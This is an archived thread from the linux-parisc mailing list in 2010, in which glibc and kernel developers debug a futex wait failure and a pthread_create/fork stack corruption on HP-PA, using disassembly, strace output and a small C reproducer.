> 0x4070547c <start_thread+1180>: ldi -b,r24
> 0x40705480 <start_thread+1184>: cmpb,=,n r24,r21,0x40705468 <start_thread+1160>
> 0x40705484 <start_thread+1188>: nop
> 0x40705488 <start_thread+1192>: ldi -2d,r25
> 0x4070548c <start_thread+1196>: cmpb,=,n r25,r21,0x40705468 <start_thread+1160>
> 0x40705490 <start_thread+1200>: nop
> 0x40705494 <start_thread+1204>: stw ret0,-1b8(sp)
> 0x40705498 <start_thread+1208>: sub r0,r21,r21
> 0x4070549c <start_thread+1212>: stw r21,-1b4(sp)
> 0x407054a0 <start_thread+1216>: ldw -1b4(sp),ret0
> 
> 
> If my assumptions are correct, then we either could
> 
> a) use the gcc atomic builtins instead of own atomic code in libc6:
> E.g: add to ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h:
> ...
> #if __GNUC_PREREQ (4, 1)
> # define atomic_compare_and_exchange_val_acq(mem, newval, oldval) \
>   __sync_val_compare_and_swap (mem, oldval, newval)
> #  define atomic_compare_and_exchange_bool_acq(mem, newval, oldval) \
>   (! __sync_bool_compare_and_swap (mem, oldval, newval))
> 
> #elif __ASSUME_LWS_CAS
> ....

There may be a bug in the gcc atomic builtins.  We shanged recently
to using the sync builtins in libstdc++.  Then, two fails appeared
recently that I haven't had time to look at:

WARNING: program timed out.
FAIL: 29_atomics/atomic_flag/clear/1.c execution test
FAIL: 29_atomics/atomic_flag/test_and_set/explicit.c execution test

That said, this is an interesting test.  Does it fix minifail?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 4 Jan 2010 13:02:36 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <119aab441001041002r4757d4f9re9f8c54e0049090b@mail.gmail.com>
References: <20100104162732.10090@gmx.net>
	 <20100104173239.6C0AF5183@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1262628168 11445 80.91.229.12 (4 Jan 2010 18:02:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2010 18:02:48 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	dave.anglin@nrc-cnrc.gc.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 19:02:40 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRrGI-0000XL-Uh
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 19:02:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751860Ab0ADSCj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2010 13:02:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752122Ab0ADSCj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Jan 2010 13:02:39 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:36327 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751860Ab0ADSCi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2010 13:02:38 -0500
Original-Received: by bwz27 with SMTP id 27so9440997bwz.21
        for <linux-parisc@vger.kernel.org>; Mon, 04 Jan 2010 10:02:36 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=Or3cE9LL7rbC0m+Oip9oROZZhaUjBmkm7IZIMMBCuH0=;
        b=I5Q+z8Q/vNxIJt3/QiCjrG2yn14Eqw1lrM35OjDt3vhcp4cZr5PIuBMVLidVxDQATJ
         25940j8LKTlMhiJNAv73kN5XrWhwMRfv3IaqKiZsilSnGdlwUhZ3e2gsRdSi9MUdjkFo
         FIrdX/MD2WtMy8iAQoBNUzJmTnZ5x1iZ2MGyk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=mK4wgpExVYXycTNHqiJFJUgUJYs6QmiOiWq804bs1YGq0t89FOg5nEhzSHmJPW1N5a
         7/RGf6fg1PXRKvWDlmp7FsVyhSHjTUid2H+lriiwAmq5R9WPLAY1DBWI7ktWFxMDtN8N
         6KpFQN6D8/dbhnd0R/22kquT5J9Tzz9g84nlI=
Original-Received: by 10.204.160.131 with SMTP id n3mr4012034bkx.122.1262628156650; 
	Mon, 04 Jan 2010 10:02:36 -0800 (PST)
In-Reply-To: <20100104173239.6C0AF5183@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 44d2645c7d87404e
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2551
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2551>

On Mon, Jan 4, 2010 at 12:32 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> e) Thus the child either crashes, overwrites memory of the parent or does other things wrong.
>
> I don't see how the forked child can affect the memory of the parent.
> It can close files and affect the parent that way (child should use
> _exit and not exit).
>
> If the forked child actually overwrites memory of the parent, this is
> a big bug in the linux fork code.

We have two bugs that are getting mixed here.

Your original post has to do with a futex wait failure, this is
possibly related to the hppa low level lock implementation. I am
updating the hppa implementation to see if I can fix this for you.

Helge's comments relate only to the vfork crash, and the Qt thread
creation issue being seen by debian.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 4 Jan 2010 13:11:39 -0500
Organization: nrc.ca
Lines: 37
Approved: news@gmane.org
Message-ID: <20100104181138.GA2252@hiauly1.hia.nrc.ca>
References: <20100101034858.80D264EA9@hiauly1.hia.nrc.ca> <20100104162732.10090@gmx.net> <119aab441001040916v4ed3fb61od24cfcc6e3558faa@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1262628710 13472 80.91.229.12 (4 Jan 2010 18:11:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2010 18:11:50 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	dave.anglin@nrc-cnrc.gc.ca
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 19:11:42 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRrP3-00039F-Cs
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 19:11:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751551Ab0ADSLl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2010 13:11:41 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752755Ab0ADSLl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Jan 2010 13:11:41 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4576 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751551Ab0ADSLl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2010 13:11:41 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 338324FA3; Mon,  4 Jan 2010 13:11:39 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab441001040916v4ed3fb61od24cfcc6e3558faa@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2552
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2552>

On Mon, 04 Jan 2010, Carlos O'Donell wrote:

> On Mon, Jan 4, 2010 at 11:27 AM, Helge Deller <deller@gmx.de> wrote:
> This is wrong. Each thread should have 8MB of stack. If we only get ~
> 0x40 bytes then npt/nptl-init.c is setting __default_stacksize
> incorrectly.

The 0x40 bytes is the initial frame allocated for clone running in
the child thread.   The code is not running out of stack space.

> Even PTHREAD_STACK_MIN should be 16kb?
> 
> Could you verify that your assertion that only ~ 0x40 bytes of initial
> room were allocated?
> 
> > e) Thus the child either crashes, overwrites memory of the parent or does other things wrong.
> 
> I agree with your analysis, but the error is that more stack should be
> allocated.

I don't follow that conclusion.  The stack grows upward and the stack
pointer isn't out of range.   The fork operation is somehow
corrupting the stack memory of the thread created by pthread_create.
I would say the parent is corrupting its own memory.  I doubt the
forked child is affecting the parent.  Fork would have to behave like
vfork to do this.  I have seen the pthread_create thread fail before
the clone syscall of the following fork.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 4 Jan 2010 13:22:45 -0500
Organization: nrc.ca
Lines: 81
Approved: news@gmane.org
Message-ID: <20100104182244.GB2252@hiauly1.hia.nrc.ca>
References: <20100104162732.10090@gmx.net> <20100104173239.6C0AF5183@hiauly1.hia.nrc.ca> <119aab441001041002r4757d4f9re9f8c54e0049090b@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1262629375 15851 80.91.229.12 (4 Jan 2010 18:22:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2010 18:22:55 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	dave.anglin@nrc-cnrc.gc.ca
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 19:22:47 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRrZn-0000EM-CY
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 19:22:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752457Ab0ADSWr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2010 13:22:47 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752617Ab0ADSWr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Jan 2010 13:22:47 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4582 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752457Ab0ADSWr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2010 13:22:47 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B160C4FA3; Mon,  4 Jan 2010 13:22:45 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab441001041002r4757d4f9re9f8c54e0049090b@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2553
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2553>

On Mon, 04 Jan 2010, Carlos O'Donell wrote:

> On Mon, Jan 4, 2010 at 12:32 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> >> e) Thus the child either crashes, overwrites memory of the parent or does other things wrong.
> >
> > I don't see how the forked child can affect the memory of the parent.
> > It can close files and affect the parent that way (child should use
> > _exit and not exit).
> >
> > If the forked child actually overwrites memory of the parent, this is
> > a big bug in the linux fork code.
> 
> We have two bugs that are getting mixed here.
> 
> Your original post has to do with a futex wait failure, this is
> possibly related to the hppa low level lock implementation. I am
> updating the hppa implementation to see if I can fix this for you.
> 
> Helge's comments relate only to the vfork crash, and the Qt thread
> creation issue being seen by debian.

I was talking about the debian thread creation bug in the above.
I haven't been able to duplicate the vfork crash that you posted.
The expect/tcl futex bug is likely related to the debian bug (this
is what expect does in testsuite runs).  Reduced minifail testcase
is below.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

/*
  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=561203

  clone(child_stack=0x4088d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x4108c4e8, tls=0x4108c900, child_tidptr=0x4108c4e8) = 14819
[pid 14819] set_robust_list(0x4108c4f0, 0xc) = 0
[pid 14818] clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40002028) = 14820

 g++  minifail.cpp -o minifail -O0 -pthread -g

 i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail; done;

 */
void* thread_run(void* arg) {
	write(1,"Thread OK.\n",11);
}

int pure_test() {
	pthread_t thread;
	pthread_create(&thread, NULL, thread_run, NULL);

	switch (fork()) {
		case -1:
			perror("fork() failed");
		case 0:
			write(1,"Child OK.\n",10);
			_exit(0);
		default:
			break;
		
	}
	
	pthread_join(thread, NULL);
	return 0;
}

int main(int argc, char** argv) {
	return pure_test();
}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.wireless.general,gmane.linux.ports.arm.omap
Subject: Re: regression: crash from 'ls /sys/modules/wl1251_spi/notes'
Date: Mon,  4 Jan 2010 10:23:20 -0800 (PST)
Lines: 6
Approved: news@gmane.org
Message-ID: <20100104182320.A8147D511@magilla.sf.frob.com>
References: <87k4w4wux9.fsf@purkki.valot.fi>
	<1262188157.2749.21.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262629437 16039 80.91.229.12 (4 Jan 2010 18:23:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2010 18:23:57 +0000 (UTC)
Cc: Kalle Valo <kalle.valo@iki.fi>, linux-kernel@vger.kernel.org,
	linux-wireless@vger.kernel.org, linux-omap@vger.kernel.org,
	Helge Deller <deller@gmx.de>, rusty@rustcorp.com.au,
	akpm@linux-foundation.org, dave@hiauly1.hia.nrc.ca,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 19:23:48 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRral-0000Oz-Rc
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 19:23:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753528Ab0ADSXs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2010 13:23:48 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753290Ab0ADSXs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Jan 2010 13:23:48 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:13396 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753428Ab0ADSXq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2010 13:23:46 -0500
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id o04INNg5019004
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 4 Jan 2010 13:23:23 -0500
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id o04INLS7009778;
	Mon, 4 Jan 2010 13:23:22 -0500
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id E0F4C357B; Mon,  4 Jan 2010 10:23:20 -0800 (PST)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id A8147D511; Mon,  4 Jan 2010 10:23:20 -0800 (PST)
X-Fcc: ~/Mail/linus
In-Reply-To: James Bottomley's message of  Wednesday, 30 December 2009 09:49:17 -0600 <1262188157.2749.21.camel@mulgrave.site>
X-Zippy-Says: Hello.  Just walk along and try NOT to think about your INTESTINES
    being almost FORTY YARDS LONG!!
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2554 gmane.linux.kernel:933935 gmane.linux.kernel.wireless.general:45067 gmane.linux.ports.arm.omap:29016
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2554>

Acked-by: Roland McGrath <roland@redhat.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 4 Jan 2010 13:29:20 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <20100104182920.CA6EB4EA9@hiauly1.hia.nrc.ca>
References: <20100104181138.GA2252@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262629770 17209 80.91.229.12 (4 Jan 2010 18:29:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2010 18:29:30 +0000 (UTC)
Cc: carlos@systemhalted.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 19:29:22 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRrgA-0002fK-9I
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 19:29:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751883Ab0ADS3W (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2010 13:29:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753528Ab0ADS3W
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Jan 2010 13:29:22 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4586 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751883Ab0ADS3W (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2010 13:29:22 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CA6EB4EA9; Mon,  4 Jan 2010 13:29:20 -0500 (EST)
In-Reply-To: <20100104181138.GA2252@hiauly1.hia.nrc.ca> from "John David Anglin" at Jan 4, 2010 01:11:39 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2555
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2555>

> On Mon, 04 Jan 2010, Carlos O'Donell wrote:
> 
> > On Mon, Jan 4, 2010 at 11:27 AM, Helge Deller <deller@gmx.de> wrote:
> > This is wrong. Each thread should have 8MB of stack. If we only get ~
> > 0x40 bytes then npt/nptl-init.c is setting __default_stacksize
> > incorrectly.
> 
> The 0x40 bytes is the initial frame allocated for clone running in
> the child thread.   The code is not running out of stack space.

If only 0x40 bytes of stack were allocated, start_thread would fault
almost immediately:

Dump of assembler code for function start_thread:
   0x40a40300 <+0>:     stw rp,-14(sp)
   0x40a40304 <+4>:     ldo 1c0(sp),sp
   0x40a40308 <+8>:     ldo 274(r26),r21
   0x40a4030c <+12>:    stw r9,-6c(sp)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 04 Jan 2010 21:51:17 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <4B4254C5.3050302@gmx.de>
References: <20100101034858.80D264EA9@hiauly1.hia.nrc.ca> <20100104162732.10090@gmx.net> <119aab441001040916v4ed3fb61od24cfcc6e3558faa@mail.gmail.com> <20100104181138.GA2252@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262638343 15758 80.91.229.12 (4 Jan 2010 20:52:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2010 20:52:23 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 21:52:15 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRtuO-0006as-GA
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 21:52:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753988Ab0ADUv0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2010 15:51:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754013Ab0ADUvZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Jan 2010 15:51:25 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:35555 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753988Ab0ADUvV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2010 15:51:21 -0500
Original-Received: (qmail invoked by alias); 04 Jan 2010 20:51:19 -0000
Original-Received: from p4FDB2EE9.dip0.t-ipconnect.de (EHLO halden.box) [79.219.46.233]
  by mail.gmx.net (mp013) with SMTP; 04 Jan 2010 21:51:19 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19X+MMfkjxXeHjx9HHIl0Za5qBC88Z/HoCyz+9dKK
	MwyMYUeJvRw2gI
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Lightning/1.0pre Thunderbird/3.0
In-Reply-To: <20100104181138.GA2252@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2556
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2556>

On 01/04/2010 07:11 PM, John David Anglin wrote:
> On Mon, 04 Jan 2010, Carlos O'Donell wrote:
>
>> On Mon, Jan 4, 2010 at 11:27 AM, Helge Deller<deller@gmx.de>  wrote:
>> This is wrong. Each thread should have 8MB of stack. If we only get ~
>> 0x40 bytes then npt/nptl-init.c is setting __default_stacksize
>> incorrectly.
>
> The 0x40 bytes is the initial frame allocated for clone running in
> the child thread.   The code is not running out of stack space.

Hmmm...

strace on minifail (as attached to Dave's mail) gives me:

getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
mmap(NULL, 8388608, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4076d000
brk(0)                                  = 0x12000
brk(0x33000)                            = 0x33000
mprotect(0x40f6b000, 4096, PROT_NONE)   = 0
clone(Process 1684 attached (waiting for parent)
Process 1684 resumed (parent 1683 ready)
child_stack=0x4076d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x40f6c4e8, tls=0x40f6c900, child_tidptr=0x40f6c4e8) = 1684

The mmap() allocates and maps the new child stack -> at 0x4076d000
The clone() syscall is called with child_stack=0x4076d040

I might be wrong, but that's the 0x40 bytes I mentioned.
  
>> Even PTHREAD_STACK_MIN should be 16kb?

The example above allocates 8MB.
But my point is, that child_stack starts at 0x4076d040, and
that LWS (in the child process with the stack as given above) tries to
store something to an address lower than 0x4076d000.

